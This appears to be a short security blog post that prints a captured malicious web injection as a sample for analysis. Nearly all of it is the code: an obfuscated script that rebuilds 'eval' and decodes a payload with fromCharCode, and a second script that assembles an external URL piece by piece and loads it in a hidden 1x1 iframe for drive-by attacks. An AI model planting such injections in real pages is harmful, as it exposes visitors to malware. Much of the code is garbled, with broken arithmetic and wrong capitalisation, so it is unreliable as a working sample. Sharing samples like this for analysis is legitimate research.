Interesting malicious script #4

The latest iframeinject. P, which uses document. Body. appendchild instead of eval.

 

<! -- Injection_head [sessionid = 4e768c5b, version = 2.0, type = infect, CRC32 = 3ceb8eb8] --> <! -- Injection_tail [sessionid = 4e768c5b] --> <! -- Injection_head [sessionid = 215f71e2, version = 2.0, type = finddomainname, CRC32 = 1b78fb82] --> <SCRIPT> VaR Date = New Date (), Pau = ('ev '+ date. getfullyear ()). replace ('123', 'al'); G = Window [Pau]; Sf = Window ['string']. fromcharcode; G (SF (4.5*48.5*57.5*2, 30.5*19.5*2, * 2, * 2, * 2, * 2, * 2, 52.5*19.5*29.5*2, 6.5*2, 4.5*2, 48.5*2, * 2, 57.5*30.5*2, 19.5*19.5*2, 21.5*57.5*2, * 2, * 2, * 2, 21.5*48.5*54.5*2, 50.5*2, 57.5*2, 49.5*30.5*2, * 2, * 2, * 2, *. 5*23.5*23.5*57.5*50.5*49.5*58.5*2, * 2, * 2, * 2, * 2, * 2, * 2, * 2, 50.5*57.5*2, 48.5*52.5*2, 57.5*52.5*49.5*2, * 2, * 2, * 2, * 2, * 2, 48.5*48.5*48.5*49.5*2, 55.5*54.5*2, 23.5*2, * 2, * 2, * 2, * 2, * 2, * 2, 52.5*2, 54.5*2, 48.5*2, 51.5*2, 50.5*2, 57.5*2, 23.5*19.5*2, 59.5*2, * 2, 52.5*30.5*19.5*24.5*19.5*2, 50.5*2, 52.5*2, * 2, * 2, * 2, * 2, 51.5*30.5*19.5*2, * 2 * 2, 24.5*19.5*2, 57.5*60.5*2, 50.5*30.5*2, * 2, * 2, * 2, * 2, 19.5*52.5*2, 57.5*2, 52.5*2, 52.5*52.5*2, * 2, 60.5*52.5*50.5*29.5*19.5*2, 16.5*2, * 2, * 2, * 2, * 2, * 2, 23.5*2, 52.5*21.5*19.5*48.5*54.5*50.5*2, * 2, * 2, * 2, * 2, * 2, 16.5*2, 19.5*2, 29.5*2, 6.5*4.5*2, 52.5*2, 55.5*2, 49.5*2, 58.5*2, 54.5*2, 50.5*51.5 * 0.5*34.5*2, 50.5*54.5*50.5*2, 57.5*2, 60.5*2, * 2, * 2, 48.5*2, 51.5*48.5*2, 54.5*2, 50.5*2, 19.5*55.5*60.5*2, * 2, * 2, * 2, 19.5*2, 20.5*2, 45.5*46.5*2, 20.5*2, 61.5*2, 6.5*2, 4.5*2, * 2, * 2, 4.5*55.5*2, 49.5*2, 58.5*2, 54.5*2, 50.5*2, 51.5*2, * 2, 50.5*34.5*2, 50.5*54.5*50.5*2, 57.5*2, 60.5*2, * 2, * 2, 48.5*2, 51.5*48.5*2, 54.5*2. 5*19.5*2, 55.5*60.5*2, 19.5*20.5*2, 45.5*2, * 2, * 2, * 2, * 2, 46.5*52.5*2*2, 50.5*38.5*21.5*2, * 2, * 2, * 2, 30.5*57.5*2, 50.5*48.5*49.5*50.5*2, 19.5*2, * 2, * 2, * 2, * 2, 16.5*2, 19.5*19.5*2, 19.5*20.5*2, 29.5*2, 6.5*2, 4.5*2, * 2, * 2, * 2, 62.5*50.5*2, 57.5*50.5*2, 61.5*2, 6.5*4.5*2, * 2, * 2, * 2, * 2, 4.5*48.5*60.5 * 6*2, 30.5*55.5*49.5*2, 58.5*2, 54.5*2, 50.5*2, * 2, * 2, 49.5*50.5*2, 48.5*2, 50.5*34.5*2, 50.5*2, 54.5*2, * 2, * 2, * 2, * 2, 50.5*55.5*60.5*20.5*29.5*6.5*2, * 2, * 2, * 2, * 2, 4.5*2, 4.5*60.5*61.5*6.5*2, 4.5*4.5*2, * 2, * 2, * 2, * 2, 4.5*55.5*2, 49.5*2, 58.5*2, 54.5*2, 50.5*2, 48.5*2, 50.5*33.5*52.5*2, * 2, * 2, 50 * 60.5*20.5*29.5*2, 6.5*2, 4.5*2, 4.5*2, 62.5*2, * 2, * 2, * 2, * 2, 49.5*2, 48.5*49.5*2, 50.5*20.5*61.5*6.5*2, * 2, * 2, * 2, * 2, 4.5*2, 4.5*2, 4.5*55.5*2, 49.5*2, 58.5*2, 54.5*2, * 2, 50.5*55.5*60.5*30.5*60.5*2, * 2, * 2, * 2, * 2, 29.5*2, 6.5*4.5*2, 4.5*2, 62.5*2, 6.5*2, 4.5*4.5*2, * 2, * 2, * 2, 52.5*55.5*49.5*58.5*54.5*50.5*2, * 2, * 2, * 2, * 2, * 2, * 2, 55*51.5*50.5*2, 34.5*2, 50.5*54.5*2, 50.5*2, * 2, * 2, * 2, * 2, * 2, 57.5*60.5*2, 48.5*51.5*2, 48.5*2, 54.5*50.5*2, * 2, * 2, * 2, 19.5*55.5*2, 60.5*19.5*2, 20.5*2, 45.5*2, 46.5*2, 20.5*2, * 2, * 2, * 2, 61.5*2, 6.5*4.5*2, 4.5*2, 4.5*2, 55.5*49.5*2, 58.5*2, 54.5*2, * 2, * 2, * 2, 50.5*51.5*50.5*34.5*50.5*2, 54.5*2, * 2, * 2, * 2, * 2, 50.5*57.5*60.5*48.5*2, * 2, * 2, * 2, 51.5*48.5*2, 54.5*2, 50.5*2, 19.5*55.5*2, 60.5*19.5*2, * 2, * 2, * 2, * 2, 20.5*2, 45.5*46.5*2, 52.5*50.5*2, * 2, * 2, 38.5*21.5*30.5*2, 57.5*2, 50.5*48.5*2, * 2, * 2, * 2, * 2, 49.5*2, 50.5*19.5*2, 16.5*2, 19.5*2, 19.5*19.5*20.5*2, * 2, * 2, * 2, 29.5*2, 6.5*4.5*2, 4.5*2, 62.5*2, 50.5*57.5*50.5*2, * 2, * 2, * 2, 61.5*2, 6.5*4.5*2, 4.5*2, 4.5*2, * 2, 50*2, 55.5*2, 49.5*2, 58.5*2, 54.5*2, 50.5*59.5*2, * 2, 52.5*50.5*2, 57.5*50.5*2, 48.5*49.5*2, * 2, * 2, * 2, * 2, 50.5*19.5*2, 16.5*2, 19.5*2, 19.5*19.5*2, 20.5*20.5*2, * 2, * 2, * 2, * 2, 29.5*2, 6.5*4.5*2, 4.5*2, 62.5*2, 6.5*2, 4.5*62.5*2, * 2 )) </SCRIPT> <! -- Injection_tail [sessionid = 215f71e2] --> <SCRIPT> EZ = ': //'; La = 'k9'; Vp = '85y'; MA = 'zi. '; s = 'C'; F = 'M'; KG = 'cub'; I = 'T'; ZZ ='/'; L = 'sr '; N = 'C'; ng = 'ame'; Rv = '. HT '; GN = 'om'; H = 'ht '; Tg = 'V'; VL = 'tp'; kf = 'ni'; V = 'ifr '; VQ = 'yfo'; BC = v. concat (NG); X = L. concat (n); P = H. concat (VL, Ez, kg, VQ, KF, Ma, S, GN, ZZ, La, VP, I, TG, RV, f); var JC = document. createelement (BC); JC. setattribute ('width', '1'); JC. setattribute ('height', '1'); JC. frameborder = 0; JC. setattribute (x, P); document. body. appendchild (JC); </SCRIPT>